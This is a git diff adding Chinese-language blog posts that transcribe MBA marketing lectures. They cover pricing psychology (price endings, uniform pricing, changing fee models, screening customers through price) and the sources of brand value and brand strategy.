+一项关于男女差异的研究很有意思，研究表明男人更容易记住多少（数量），女人更容易记住频率。这里我给各位男士一个建议，你们很多人啊，有时会觉得攒很多钱买一颗钻石或很贵重的礼物给女朋友，然后就觉得这一下能管一年了，我媳妇儿这一年都能服服帖帖的感谢我。但是！事实上！这颗钻石也就能起到一周的效果！一周之后你甚至还要不断的加码，买更贵的礼物满足她。我的建议是，一次送一颗钻石不如多次送玫瑰花，你试试每周五都送一朵非常漂亮的玫瑰花给女朋友，我保证这会让她的朋友羡慕不已。既能讨女孩子欢心，又能省钱，何乐而不为呢。 + +我讲这些例子就是要告诉大家，**坏消息要捆绑在一起说，降低坏消息带来的影响，好消息要分开说，提高好消息刺激的频率。** + +![](/uploads/2018/11/04-46.jpg) + +在商业中，付钱可以理解为是一件让人心烦的事情，对顾客来说付钱就是坏消息。那你要怎么做呢？你应该尽可能把多个产品的报价放在一起说，让他们只难受一次。但是，如果你有折扣或者优惠呢，你一定要分开、分次、分批地清楚说明，让他的愉快感来的多一些。 + +**5** **价格尾数—8/9关心你，1会有敌意** + +下图是我给一家制药公司做的一个价格调研项目的结果。这家公司开发的新产品是一个名为“达英35”的避孕药，在皮肤科领域也可以治疗痤疮、青春痘。中国皮肤科专家打算引进这款药品，但这家公司认为中国属于一个新市场，需要对中国市场进行调研。他们非常关注的一个问题就是这药到底定价多少是合适的。于是我们对3000名女性开展了访谈。 + +我们进行了分组测试，第一组是以0结尾的价格，比如10元、20元、30元、40元…第二组是以1结尾，11元、21元、31元、41元…第三组是以2结尾，以此类推。 + +![](/uploads/2018/11/04-47.jpg) + +结果发现（如上图），在30-40元的价格档次之间，以1结尾（31元），顾客的接受意愿偏低。当价格从39元涨到40元的时候，可接受的比例大幅下滑。当价格从40元涨到41元时，可接受比例下滑幅度更大。 + +这些数据结果反映了什么呢？除了反映出价格升高，可接受比例下降这样的基本常识**，更重要的是反映出了可接受比例居然也会受到价格尾数的影响！** + +在欧洲，产品的定价几乎都是以9结尾的，中国用9的很多，当然用8的也很多。**这是因为价格尾数传递的信息非常丰富，最简单的一点就是价格尾数是1的话，会显得商家非常贪婪，给人的感觉不好。但是尾数是9给顾客的感觉就是你在为他考虑，你在尝试为他降低价格。** + +你们想象一下，如果价格是19元，顾客付20元，还能找零1元，蛮不错，开心。但是如果定价21元，付了20元，你跟顾客说还差1元，顾客什么感觉？这1元算啥？罚款？税费？服务费？给人的感觉很不爽。 + +![](/uploads/2018/11/04-48.jpg) + +综合来看，以5、8、9结尾的价格是个好价格，比较容易被顾客接受，以1结尾会有敌意。 +**当然，1作为价格尾数的价格并非完全无用，甚至说在有些情况下很有意义。比如当你事实上并不想卖某个东西的时候，就可以用1为价格尾数。** + +**比如说闯红灯罚款281美元，这个“1”不是随意定的，它的目的是让受罚者感到更难受。**在荷兰，商店售卖的商品几乎都是以9为价格尾数，只有罚款是以1为价格尾数。 + +如果你开了一家餐厅，提供海鲜、意面等食物，海鲜的利润很低，面条的利润很高。为了引导大家多点面条类利润高的食物，可以将高利润商品的价格以5、8、9结尾，让海鲜这类利润低的商品以1来结尾。 + +![](/uploads/2018/11/04-49.jpg) + + +**6** **同一定价—让顾客更关注产品** + +这第六个定价技巧苹果公司就用过，可以称为同一定价。苹果一开始做iTunes线上音乐商店时，他们做过调研，研究人们是否愿意线上购买单曲以及愿意为一首单曲支付的价钱。在苹果之前，你要听音乐就需要购买整张唱片，唱片里大概有8-10首歌，你是不可能单独买一首歌的。索尼就是这么做的，他们做的所谓的线上音乐商店，其实就是将实体唱片搬到互联网上卖而已，还是要买整张唱片，和传统零售店的唱片没有本质区别，都是8美元、12美元、14美元的整张唱片。索尼只是把线下原模原样地搬到了线上，没有任何创新。 + +于是苹果公司开始调研，他们向调研对象提供参考价格，比如一个风格的音乐对应一个价格，如乡村音乐0.89美元，古典音乐0.99美元，热门歌曲1.09美元，还有其他著名音乐人的歌曲1.19美元。问他们，多久会在网上购买一次音乐。综合所有的调查问卷后，得出人们平均每年在音乐上的消费是26美元。然后他们又问，如果每首歌曲统一定价1.19美元，多久会购买一次音乐？综合受访者的答案得出，这种定价方式下，平均每年在音乐上的消费是46美元。 + +**很明显，按照音乐的类别制定不同的价格和统一所有音乐的价格，客户消费意愿有非常大的区别。因为当价格不同的时候，顾客会将精力放到对价格的考虑上。但是如果都是同样的价格，顾客就会更多去关注产品本身。**所以，苹果公司最后决定将所有音乐定价1.19美元，事实上也很快取得了成功。 + +反观有一些企业完全不懂定价，比如下图的饮品定价。这是香港的一家饮品店，看看这个牌子上有多少种价格啊！这样定价的结果就是，客户满脑子都是鲜奶咖啡小杯14元，大杯18元，特浓咖啡小杯13元，大杯19元，哪个更合算呢！我是不是要用线性代数做个矩阵向量公式来解一下这个最优解方程呢？ + +客户的注意力全放在了价格而非产品上。其实，**完全不需要制定这么多种价格，稍微简单点，客户会轻松很多。** + +![](/uploads/2018/11/04-50.jpg) + +美国一家服装店，梅西百货，每年他们都会把男士西装的价签撕掉，在所有西装上都标上同一价格。我到梅西百货，感觉像是回到了童年时代，完全不需要考虑价格，任意挑选自己喜欢的西装。 + +![](/uploads/2018/11/04-51.jpg) + +我在为一家鞋业公司做调研时，我专门去鞋店观察，我发现女孩子买鞋是怎么买的呢？她们看中一个款式之后，拿起这个鞋子，翻过来看鞋底或者鞋里，这是干什么啊？这是在找价签。其实，店家完全可以将货架上的鞋子按价格分类摆好，这样一来，客户就可以把注意力完全专注于鞋子上，不用再满脑子盘算价格了。当然，还可以用用“三的威力”，在店里放三个货架，对应三个档次的价格。 + +如果你只有一家鞋店，可能没办法尝试，但可以学习一些大店的做法。如果你有1000家这样的门店，可以让营销经理做一个试点。只要尝试一些改变，就会让公司更有竞争力。 + +**7** **转换定价因素—打价格战不如转换收费方式** + +当公司面临亏损，不能降价也不能提价时，该怎么办？比如你开了一家健身俱乐部，马路对面又新开了一家，但他们的机器更新，游泳池更大，淋浴设施更好，而且他们还有开业优惠，年费打五折，你的客户不断地流失到竞争对手那里。你面临亏损的危险，不能涨价，也不能降价。面对这种情况，我的建议是，改变定价的方式。 + +比如健身房一般是按年费制收费，现在我们可以改为月费制，甚至是周费制，或者就像酒店一样的按次收费，或者是平时不收费，使用器械时才收费。比如让客户办卡充值，使用器械的时候刷卡收费。也可以学习星巴克的做法，让会员免费使用器械，但咖啡、可乐、沐浴、毛巾、矿泉水、水果等其他任何商品或服务都要收费，这就变成了完全不同的业务模式。 + +**除了改变定价的标准，也可以根据收费对象的不同定价。**比如早上6点钟，只允许金融圈子的人来健身，在纽约就有这样的健身房，早上大家可以在健身房认识一些同行人士，交流些信息与情报，甚至是为跳槽打基础。 + +**还可以根据为客户提供的价值多少收费。**可以思考一下，人们来健身房的目的是什么？有的人想要减肥，有的想要降压，有的想要增肌。我们可以根据客户的目的来制定价格，比如按减肥的公斤数收取费用。当你按照客户减重的公斤数收取费用的时候，你和客户的目标就保持了一致，销售人员发现这个客户没来健身，就会给他打电话，督促他来减肥。这是一种按照人们希望看到的结果收费的方式，这种方式让你和客户的目标保持了一致。 + +![](/uploads/2018/11/04-52.jpg) + +**也可以按照商品或服务的价值收费。**例如，米其林公司原本是销售轮胎的，他们的轮胎质量好，价格贵。米其林公司认为，轮胎占据了卡车公司非常高的成本，他们找到卡车公司，问他们去年行驶的总公里数以及在轮胎上的花费。他们向卡车公司提出了一套方案，卡车公司只要按照行驶的公里数支付轮胎的费用，其他一切服务（如更换轮胎，路线设计，轮胎保养等）都由米其林公司统一管理。就这样，米其林不再是一家传统的轮胎公司，而是提供一整套轮胎管理系统的科技公司，他们通过改变轮胎的收费方式，为客户提供了最大的便利，也让顾客更加离不开米其林。 + +**8** **用定价筛选客户—降低获客成本，稳固细分市场** + +最后一个定价技术是，如何利用定价降低公司的获客成本，以稳固细分市场。给大家举一个保险业的例子。 + +前进保险公司（美国最大的车险公司）通过互联网销售车险产品，他们不仅提供自己产品的价格，也提供竞品的价格，让顾客可以自己作比较。但是，请注意，他们提供对手的价格并不是为了展示自己所有的价格比对手的都低，而是非常可观的展示出来哪些高，哪些低。 + +为什么前进保险要这么做呢？事实上，他们这就是在筛选客户。因为前进保险公司是一家数据驱动型公司，他们通过营销数据分析得出，如果18岁的男孩开着人生的第一辆车，事故率通常会很高，除非他在学校的成绩很好，是个老实的孩子，不会喝醉了出去乱逛。如果是教堂唱诗班的孩子，他们性格老实，交通事故率会很低。所以，在每一名顾客购买保险之前，公司都会让他们填写信息表，了解顾客的习惯、爱好、在校的GPA成绩等。 + +如果被认为事故率可能会很高，前进保险公司会提供一个较高的车险报价，如果他不接受这个高的报价，那就去竞争对手那里吧，前进保险公司宁愿放弃高成本顾客，让竞争对手招待他们，这样自己的成本下降，竞争者成本上升。 + +酒店行业也利用这种方式降低成本。在我还是一个烟民的时候，我到美国密西根的万豪酒店住宿，工作人员告诉我，如果在房间吸烟，会收取250美元的房间清理费，这个收费非常高。于是，我打算走到酒店楼下吸烟，到一楼后发现连吸烟室都没有。门口穿制服的保安跟我说，先生，这里不允许吸烟，请您到外面的人行道上吸烟。冬天那么冷的天气，我到人行道上吸烟，真是疯了。实际上，酒店真正想向我传递的信息是，我们不想招待你这种住客，到竞争对手那里去吧！万豪最希望看到的是，那些烟民去竞争对手那里打麻将、唱歌、吸烟，把他们搞得一团糟，而那些高素质的住客才是万豪真正想要服务的对象。 + +![](/uploads/2018/11/04-53.jpg) + +当然，这种定价筛选客户不仅是让你获得自己想要的客户群，你更要通过这种方式来稳固自己的细分市场。 + +有一次，我在荷兰的街道上找理发店，我看到一家店（A店）门口写着剪发14欧元，另一家店（B店）门口却写着短发12欧元，长发16欧元。 + +这样的定价结果是什么？它会让短发客户去B店，长发客户会去A店。B店的定价就是将市场细分，欢迎那些剪短发的人。 + +那B店如何稳固自己的细分市场呢？如何涨价获取更多利润，而不流失客户呢？ + +我的建议是，既然B店主要是短发顾客，不如将长发涨价到18欧元。B店涨价之后，A店看到B店设定了剪长发的新参考点，那我A店就可以把剪长发的价格提高到16欧元。这样一来，B店就可以顺势将剪短发的价格提高到14欧元。AB两家店将市场细分，分别服务短发客户、长发客户，他们再也不是竞争对手，而是朋友。 + +**9** **小结** + +以上内容就是市场营销定价的八个技巧，建议同学们配合第三讲课程的预习资料学习。（预习资料的获取方法是：关注“混沌大学”微信订阅号，回复关键词“营销第三讲”，获取下载链接。） + +![](/uploads/2018/11/04-54.jpg) + +**问答环节** + +**问题：“薄利多销”好，还是“厚利适销”？** + +**柏唯良：**实际上，这个问题问的不恰当，因为这个问题有个前提假设，就是高额利润意味着低销量，低利润意味着高销量。这在商业实践中并不正确。因此，我觉得这个问题应该问的是企业应该以利润为先，还是以市场份额为先？ + +我的观点是，**利润会产生市场份额，也就是企业应当以利润为先。** + +很多公司追求市场占有率，而我追求利润。我得到了利润，可以用这些钱来收购你。而你虽然得到了市场份额，却耗费了高昂的成本（如靠免费、低价等手段获客），在我看来这样的市场份额一文不值，而且也不会帮助公司发展壮大。 + +现在的公司太容易通过风投募集资金了，这可能给创业者造成了一种错觉。事实上，企业应该把精力放在如何产生利润上，因为只要有了利润，全世界都会争先恐后地把钱放到你的口袋里。 + +我的观点可能很多人不认同，尤其是很多互联网从业人员。因为有很多互联网公司在很长一段时间都处于亏损状态，比如特斯拉。但是我还是要坚持我的观点，因为虽然特斯拉是非常成功的电动汽车企业，但不能说未来的市场就一定是特斯拉的。事实上，我对特斯拉的未来是有担忧的，我认为像宝马、奔驰、法拉利以及很多中国汽车企业，一定也能研发出非常棒的电动汽车。而且从经验上讲，一个新兴行业的第一家公司不会生存到最后。可能再过20年，没人记得特斯拉，就像你们没人记得奥斯本（英文名称：Osborne），这个便携电脑的先驱者。 + +不过也确实存在个别例外，个别不考虑利润而先靠占领市场，在未来再获取利润的公司。比如很多软件公司先让用户免费使用软件，用户上瘾之后开始收费。 + +微软就是采取了这种战略性策略占领市场。以前在中国，微软的软件被盗版得非常严重，我曾问过微软的经理，微软每年花费在抵制盗版的行动上有多少？我从来没有得到过答案，我猜测微软根本没有抵制过盗版。因为这些非法的盗版软件事实上帮助微软培育了市场，赢得了市场，巩固了市场。如果没有这些盗版软件，人们可能会使用其他免费或低价的替代品。但是微软作为一家美国公司，微软总不能自己免费把软件送出去，这会被认为是一种市场倾销行为。 + +于是，微软一边声称这些盗版软件让公司损失巨大，一边默默地告诉政府没必要抵制这些盗版。因此，微软接受盗版是一种战略性决定，免费让客户使用产品，并让他们上瘾，避免客户流失到竞争对手那里，让公司获得了市场份额。 + +但是请务必注意，微软是个非常特殊的例子。微软这么做之所以能成功，**是因为他们的产品确有独到之处，可以让人上瘾**。基于这种对自己产品的强大自信，微软才可以不考虑利润，先去占领市场。 + +![](/uploads/2018/11/04-55.jpg) + +而对一般的企业来说，应该首先以追求利润为目标，利润可以带来真正的市场份额，让资本帮助企业做大做强。如果你没有让人上瘾的独特产品，还选择用免费低价占领市场，那当你不免费补贴的时候，用户立刻会离你而去，转投其他的替代产品。 + +结束 + diff --git a/_posts/2018-11-06-312-marketing04.md b/_posts/2018-11-06-312-marketing04.md new file mode 100644 index 0000000..aa6ce0e --- /dev/null +++ b/_posts/2018-11-06-312-marketing04.md @@ -0,0 +1,300 @@ +--- +layout: post +title: 【市场营销模块】 第4节 注意力缺失世界中的品牌与促销 +pid: 312 +tags: [mba] +--- + +**第四讲 注意力缺失世界中的品牌与促销** + +大家知道什么是注意力缺失症（Attention Deficit Disorder, ADD）吗？注意力缺失症指的是人们无法把注意力集中在一件事情上超过十分钟。如果你家里有小孩子，你一定知道小孩子比较好动，不太容易静下心来，这是注意力缺失症的表现。或者现在的人过几分钟就要看一下手机，这也是注意力缺失症的表现。 + +本讲课程要讲的就是在人们的注意力愈发不集中的现在，企业如何打造品牌、开展促销？课程大纲如下： + +![](/uploads/2018/11/06-01.jpeg) + +**一、品牌价值的本质** +每年大家都可以看到“世界最具价值品牌排行榜”，只要你稍微分析一下就会发现这些品牌都是世界上最著名、利润最高的公司。有些公司利润很高来自于品牌的力量，如可口可乐。有些公司利润高并非来自于品牌，如微软。比尔盖茨是个很厉害的CEO，但在他之后的鲍尔默却不被人们认可，以至于微软在人们心中不再是个好品牌，连微软自己都承认自己的品牌力量并不强大。 + +8年前，那些榜单说诺基亚的品牌价值是1500亿美元，那为什么当时诺基亚不把自己的品牌卖掉呢？如果当时卖掉了，就会赚大一笔啊？它根本卖不掉的。 + +**因为，当提到品牌价值的时候，仅仅讨论品牌自身的价值是没有意义的，只有将品牌与产品联系在一起，只有当品牌能为顾客带来价值的时候，品牌才对公司有价值。**而最具价值品牌排行榜讲的是品牌对公司的价值，说诺基亚这个品牌对诺基亚值1500亿美元，而对可能收购诺基亚这个品牌的公司来讲，诺基亚品牌价值根本不值1500亿美元。所以这种排行是没有意义的。 + +![](/uploads/2018/11/06-02.jpeg) + +**二、品牌如何创造价值** + +**2.1品牌如何为顾客创造价值** + +品牌如何为顾客创造价值呢？主要有以下四条路径： + +**第一，减少顾客的搜索成本。**品牌说明了为顾客提供什么产品与服务。 +**第二，降低购买风险。**品牌代表了有保障的产品与服务。 +**第三，提高用户满意度。**品牌带来超额体验和满意度溢价。 +**第四，增强客户。**品牌成为顾客某些属性的象征，为顾客赋能。 + +下面逐一为大家讲解品牌如何通过这四条路径为顾客创造价值。 + +**第一，减少顾客的搜索成本。** + +比如，你想在巴黎找个餐厅吃饭，该去哪个餐厅呢？这里的餐厅表面看上去很普通，进去后却发现价格非常高。对你来说，在一个陌生的地方选择一家餐厅的搜索成本太高了。走着走着，你看到一个黄色的M标志，麦当劳。可能你在中国从来不吃麦当劳，但今天这种情况你还是选择了麦当劳。由于麦当劳餐厅随处可见，在很多国家M甚至成为了小孩子们认识的第一个字母。在香港，也可以随处找到麦当劳餐厅，它是香港人最常光顾的餐厅。麦当劳品牌辨识度如此之高，它的黄色M代表了麦当劳提供的标准化产品和服务，能够降低顾客的搜索成本。 + +星巴克也一样。你走在巴塞罗那的街道上，感到又累又热，好希望有一张舒服的椅子，能坐在上面吹吹空调，上上网。你一定希望前面有一家星巴克，因为你知道它能满足你现在的愿望。 + +逛超市的时候，你总是找自己熟悉的品牌，或者你的妈妈曾经用过的品牌，因为你清楚地知道这些品牌的产品能够满足你的需求，这就是品牌价值的体现。因此，**当一个品牌能够让顾客知道它提供了什么产品和服务的时候，它就降低了顾客的搜索成本。** + +![](/uploads/2018/11/06-03.jpeg) + +**第二，降低购买风险。** + +走到世界任何一个地方，巴基斯坦、印度尼西亚或者刚果，你不知道当地的食物如何，麦当劳餐厅一定是你最佳选择之一，即使你不喜欢吃麦当劳，但你至少知道它不会让你食物中毒。所以，麦当劳的品牌能够降低你的购买风险。 + +如果你需要做手术，你一定会想去当地最好、最有名的医院，这是理性的选择吗？当然是。因为好的医生大多都在著名的医院工作，这些医院有资格雇到顶尖医学院的优秀毕业生。 + +当然，好医院也不可避免会发生医疗事故，如果一名医生治死了病人，这些声名卓著的医院会解雇这名医生，从而保证自己的医疗质量。如果你是一个风险厌恶型的人，最理性的决定就是去最有名的医院看病，它会大大降低看病的风险。 + +可能没有人在乎自己家里沙发是什么品牌，因为大家购买沙发的时候，你会到店里亲身感受一下沙发的舒适度，推一推或者抬一抬。你可以很简单就体验到这个沙发的好坏，如果一个商品的质量可以很容易地体验出来，品牌就变得不那么重要。但像请律师或者看医生的话，你就不能像坐沙发一样，坐到他们腿上去体验他们的质量了，你仅通过外表看不出来。这时候就需要品牌帮助你降低风险，让品牌告诉你看不到的东西。 + +![](/uploads/2018/11/06-04.jpeg) + +**第三，提高用户的满意度。** + +拿红酒来说，你一定觉得红酒的品牌越高端，价格越贵，就会越好喝。其实这是心理因素的作用。你可以找你的朋友做个小实验。你去买一瓶很便宜的红酒，15块一瓶的，可能都不是用葡萄酿的红酒。你再买一瓶很贵的红酒，把这瓶贵的酒喝掉，然后灌上那瓶15块的红酒。你把朋友邀请来，跟他说你不小心把这瓶价值一万二的红酒打开了，你愿意和我一起喝光它吗？你的朋友一定表示愿意，并且会细细品尝，还会对你反馈说这瓶酒简直回味无穷，跟以前喝的都不一样。 + +再拿看病来说，如果一个著名医院的医生给你开了药，即使这是一个没有任何成分的假药，就算是安慰剂你也会觉得它有明显的疗效。这就是品牌带来的溢价。 + +香港科技大学的一些研究人员做过关于人们大脑对刺激的反应的研究。大概是说我们的脑部顶端是情感区域，反映你的开心和郁闷，脑门那里是认知区域，反映你对一个事物的认识。当研究人员给被测试者一瓶可口可乐的时候，大脑皮层的情感区域和认知区域都会有明显地反应，这代表测试人员的肉体和认知都很愉快。当研究人员给测试者一瓶普通的超市自产可乐时，测试者的认知区域没有反应，而情感区域仍然有反应，这代表虽然测试者认知是不开心的，但是肉体很诚实还是很愉快。这是非常有趣的现象，这意味着你认为自己喝什么会影响你实际的体验。于是，我们了解到了，重要的不是你喝了什么，而是你认为自己喝了什么。 + +音乐也一样。我曾经是莱昂纳德·科恩的铁杆粉丝，有一次他来到新奥尔良演出，尽管75岁的高龄唱高音不一定很好，但他唱的是自己的原创歌曲，在我心里，原创者比其他任何翻唱都要好听。因此，原创也是一种品牌，能够为顾客带来更大的满足感。 + +![](/uploads/2018/11/06-05.jpeg) + +**第四，增强客户。** + +这是品牌提供价值的一种完全不同的方式。不知道是什么原因，大多数人提到品牌的价值，第一个想到的就是品牌可以增强客户这一点。尤其在中国，谈到品牌想到的总是奢侈品品牌，如阿玛尼、爱马仕等。 + +实际上，麦当劳、万宝路、青岛啤酒都是顶尖品牌，尽管他们的产品价格不贵，但品牌很强大，能够为公司带来非常高的利润。如果你是家乐福或者联华等大型零售商，你就必须售卖青岛啤酒，如果顾客发现没有青岛啤酒，他们就会投诉。但对零售商来说，售卖顶尖品牌的利润空间非常小，因为这些品牌有非常强大的影响力，相对渠道商，他们的议价能力非常强。所以，青岛啤酒、可口可乐这些第一的品牌能够比其他品牌卖更高的价格。 + +尽管青岛啤酒和可口可乐是非常强大的品牌，但这些品牌在增强客户方面却力不从心。从生物学角度讲，小鸟唱美妙的歌曲，有美丽的羽毛，狮子长出漂亮的毛发，动物们就是愿意浪费能量来显示出自己的强大，并吸引异性，从而保证自己的繁衍生息。 + +作为人类，我们不能像动物一样长出漂亮的羽毛，但我们可以搭配阿玛尼、法拉利这些奢侈品来为自己赋能。就比如你可以买两辆法拉利，你开一辆，再撞坏一辆，这可以显得你更有钱。或者像电影里一样，展示你有100元钱可不够酷，你该把100元钱卷起来，用来点雪茄，那才酷。 + +一位著名的当代艺术家有个作品就叫没收拾的床，真的就是一个没收拾的乱糟糟的床，竟有人愿意花25万买下来。这个人买下来之后，跟朋友炫耀说自己买了一个艺术品，所有人都会很羡慕。这就是这个艺术家的品牌带来的附加价值，它能够增强客户。 + +![](/uploads/2018/11/06-06.jpeg) + +上面讲的四种方式，大多数品牌可能只用到了1-2种方式来提升顾客价值。比如，麦当劳确实是一个很强大的品牌，它降低了顾客的搜索成本，但没有增强顾客。星巴克用到了2种提升顾客价值的方式。星巴克降低了顾客的搜索成本，让顾客在全世界任何地方都能享受到舒服的椅子、空调、无线网络和咖啡。同时星巴克品牌也增强了顾客，有些人买完星巴克咖啡直接带走，这杯咖啡就好像一个很潮的配饰，能够彰显他们的身份。就算咖啡喝完了，端着星巴克的杯子，也可以起到宣传自己的作用。 + +因此，不同的品牌通过不同的方式为客户创造价值，品牌只有为顾客创造价值，才能为公司创造价值。 + +**2.2品牌如何为企业创造价值** + +品牌并非永远重要，对很多产品来说，品牌是不重要的。就像家里的电灯泡，我们不知道它的品牌，而且也不关心是什么品牌。不过一旦品牌能够为顾客带来价值，品牌也就变得对企业非常重要，对企业非常有价值。 + +**在定价方面，**如果价格提高1%，利润就会增加11%，这点我们在第三讲中讲过。苹果公司的iPod可以卖到280美元，利润率是60%-80%。而微软公司的Zune（一种MP3播放器）售价仅为29美元，却仍然没人愿意买。如果价格相等，顾客往往会选择原创公司的产品，不会选择效仿的公司。如果可以用与iPhone同样的价钱买一台手机，我会宁愿选择iPhone。所以，第一名的品牌总会有更多的销量和利润。**品牌形成了一个良性循环，品牌越有价值，价格就越高，利润空间就越大，企业就可以用更多的钱投入产品开发，让产品变得更好。**所以，如果一个品牌很重要，它就会变得更加重要，而且品牌的作用会一直持续下去。就像很多五十年前甚至一百年前的顶尖品牌，这些品牌在现在依然是顶尖品牌，它们的影响力依然很强劲。 + +![](/uploads/2018/11/06-07.jpeg) + +**在渠道方面，**顶尖品牌能够增强对零售渠道的影响力，多数零售商都几乎以免费的方式为这些顶尖品牌效力，你不可能不售卖它们。因此，品牌能够增强公司的议价能力。品牌的作用还有很多，如品牌能够促进顾客的复购、有助于推介新产、促进市场定位、形成口碑效应等，这里就不一一赘述了。 + +**2.3初创公司如何打造品牌** + +既然品牌价值如此之高，那是不是意味着我们必须要有一个响亮的品牌呢？答案是，不。 +当你的产品足够独特时，你就不需要一个响亮的品牌。 +苹果手机刚刚问世的时候，很多人都不看好。诺基亚的一个市场调研公司在iPhone上市之前就拿到了它的概念机并调研了人们对这款手机的感受，结果是人们不喜欢这款手机，它太薄了甚至都不像一台手机。在iPhone问世之前，手机的迭代无非是每次把屏幕做的大一点点，最多也就是这样。苹果公司做的很极端，几乎将整台手机设计成了一个屏幕，取消掉了键盘。 + +苹果公司进入手机市场的时候，手机市场已经不是一个新兴市场。那时候不只是诺基亚，还有全键盘、类似掌上电脑的黑莓手机，它们也非常成功，利润很高。iPhone凭借其产品的独特性，很快成为了手机市场中的佼佼者。 + +**因此，如果你的产品足够独特，就不要一个响亮的品牌。但你要有足够的勇气做最前沿的产品，成为市场中独一无二的产品，引领新的潮流。这样你才有话题性，才会有曝光和被热议的机会，让人们愿意谈论你的产品。** + +有同学问我，初创公司如何进行促销？我的回答是，**初创公司无法做促销，而且也没人在意你的促销。作为初创公司，你没有足够的资金去创造足够大的声势，唯一的方式是让产品有卖点，让产品自己推动自己的品牌。** + +![](/uploads/2018/11/06-08.jpeg) + +现在的顶级科技公司，如谷歌、亚马逊、阿里巴巴一开始都不是通过做品牌促销而出名的，谷歌让自己成为谷歌、亚马逊让自己成为亚马逊、阿里巴巴让自己成为阿里巴巴。在没有足够资金的时候，公司只有一条路可以走，那就是推出独特的产品，成为爆款，形成口碑效应。 + +**2.4品牌承诺** + +接下来，讲讲品牌的承诺。好产品创造了品牌，让公司赚很多钱。一旦公司赚了很多钱，竞争就来了，所有人都会效仿你，这时候品牌就要反过来保护产品。**产品和品牌的关系就是好产品塑造了品牌，当竞争对手开始模仿你的时候，品牌反过来能够保护产品。** + +![](/uploads/2018/11/06-09.jpeg) + +**归根结底一句话：也许你能做到我做的事情，但是你仍然不是我。**所以，即便竞争对手拷贝你，模仿你，但模仿终究是模仿，它仍不是你。 + +为了理解这句话，给大家举一个汽车的例子。请看下面两张汽车照片，阿斯顿马丁小天鹅汽车售价4.6万美元，丰田iQ汽车售价1.7万美元。这两款汽车的外观非常相似，事实上你可以理解这就是一辆车，他们甚至还制作了一段视频，告诉大家他们是怎样在丰田iQ基础上改造而成的。阿斯顿马丁就是从丰田买来这款汽车，然后把丰田的商标砍掉换上阿斯顿马丁的商标，然后将车里的塑料配件换成木制的，毯子也换成新的，还装上一个新的声效系统，新的外观等等。然后阿斯顿马丁就把价格提高了将近3万美元。这就是品牌的力量，它能够在竞争中保护产品。 + +![](/uploads/2018/11/06-10.jpeg) + +**三、品牌战略的思考** + +**3.1** **不同产品应当有不同的品牌** +**当品牌对于一个公司至关重要的时候，企业战略和品牌战略就变成了一回事。**很多技术型公司往往只有一个品牌，如西门子、飞利浦，TCL、海尔，他们的公司名和品牌名是一样的。也有些企业有很多品牌，如联合利华有700个品牌。 + +为什么会有这么大的差别呢？还记得第一讲课程给大家讲的营销的常识、营销的哲学吗？对工程师来说，效率是最大的价值，他们不理解为什么能用1个品牌解决的事，要用5个品牌。就像飞利浦，它有飞利浦电视、飞利浦电脑、飞利浦马桶、飞利浦手机。但一定有人觉得别扭，因为他们不想用马桶品牌的手机打电话。或者说，这些企业压根没有品牌战略的概念。 + +如果一家公司的老板是工程师出身，多品牌战略往往不会发生。因为在工程师的常识中只有效率，没有多品牌。当然也有例外，有些技术型公司也有不同的品牌名，比如索尼、英特尔、苹果、步步高，这是他们的品牌战略。 + +惠普公司就是个反例。他们既做打印机，又做电脑。惠普公司坐在一起开会的时候就会打起来。因为做电脑业务的人会说，当你想到电脑的时候，就应该想到惠普，我们要让惠普等同于电脑。做打印机业务的人会说，不，当你想到打印机的时候，才应该想到惠普，因为惠普等同于打印机！ + +如果你问，惠普到底是一家打印机公司还是电脑公司？他们也不知道。这个时候就需要两个品牌，两个品牌对应两个业务。 + +![](/uploads/2018/11/06-11.jpeg) + +**3.2** **品牌应当能够回答自己是谁** + +**品牌战略要能够用一句话描述清楚，只有能用一句话描述清楚，才可能拥有一个强大的品牌。** + +就像长城葡萄酒，标签上贴着长城，我就知道这是中国的葡萄酒，因为只有中国才有长城。而张裕葡萄酒的标签贴的是法国酒庄，就好像在告诉我们，想喝葡萄酒，就要去法国。 + +黄尾袋鼠红酒来自于澳大利亚，黄尾袋鼠红酒的瓶子上没有法国城堡，而是袋鼠。人们看到有袋鼠的红酒，第一反应就是，这瓶酒来自于澳大利亚。 + +而且黄尾袋鼠红酒公司也不在酒瓶上标出年份，因为他们定位自己就是为了追求喝酒乐趣的人准备的，喝酒就好了，管它哪年产的干什么。因此袋鼠红酒的品牌定位非常清晰，它来自澳大利亚，为喝酒的乐趣而生。实际上，黄尾袋鼠红酒甚至根本不要一句话描述它的品牌战略，两个词就够了“Fun Wine”（乐趣红酒）。 + +![](/uploads/2018/11/06-12.jpeg) + +再来看另一个品牌，英特尔。英特尔的一句话叫“内置英特尔”（Intel Inside），它告诉人们这里面有一个你看不见的CPU是我们制造的。在第一批电脑出厂的时候，没人会问电脑的CPU是什么，大家最多问下内存是多少。但是，自从英特尔提出“内置英特尔”以后，人们就开始关注电脑的CPU是什么。从此，英特尔成为电脑CPU的第一品牌，他们也一直保持着持久的优势。 + +AMD能学英特尔一样，在电脑上贴一个“内置AMD”吗？不能，它已经丧失了先发优势，贴上“内置AMD”的话，那就不是一个广告了，而是一个警告。 + +大家想象一下这个场景，顾客购买电脑的时候，一定会问电脑的CPU是什么牌子的，如果销售人员说是AMD。 + +顾客会问：为什么不是英特尔？ + +销售人员说：英特尔和AMD的内芯是完全一样的。 + +顾客说：既然英特尔和AMD是一样的，为什么不用英特尔呢？ + +销售人员说：AMD更便宜啊。 + +顾客会说：既然AMD更便宜，为什么英特尔和AMD的内芯是一样的呢？ + +我相信，没人买了一台贵电脑，希望CPU是便宜货。就像我买一台奔驰车，也一定不希望用的是桑塔纳的发动机。所以，现在很多用AMD芯片的电脑公司赚不到多少钱，这就是英特尔品牌的力量。品牌只需要一句战略性地描述，就像英特尔的广告语，内置英特尔，非常简单！ + +**3.3** **坚持做独特且真实的自己** + +西南航空公司的广告语是，空中巴士。它的运营模式和其他航空公司是不同的，他们不提供食物、不指定座位，只提供电子票。就像真正的巴士一样，买票、上车、入座，而且座位分三个区域，每个区域对应不同的颜色，乘客按颜色入座。一次采访中，记者对西南航空的高管说：你们是一家廉价航空公司。高管说，不，你说的不对，我们是超级高端的巴士公司。 + +再来看看啤酒品牌。青岛啤酒的广告语是，中国的啤酒。那哈尔滨啤酒该是什么呢？他们该说自己是什么啤酒呢？中国第二好的啤酒？肯定不太合适。 + +我们说过，品牌战略要建造自己的那座山，不要去爬别人的山，品牌要做自己。如果青岛啤酒是中国的啤酒，那就让青岛啤酒霸占“中国”吧，无所谓。 + 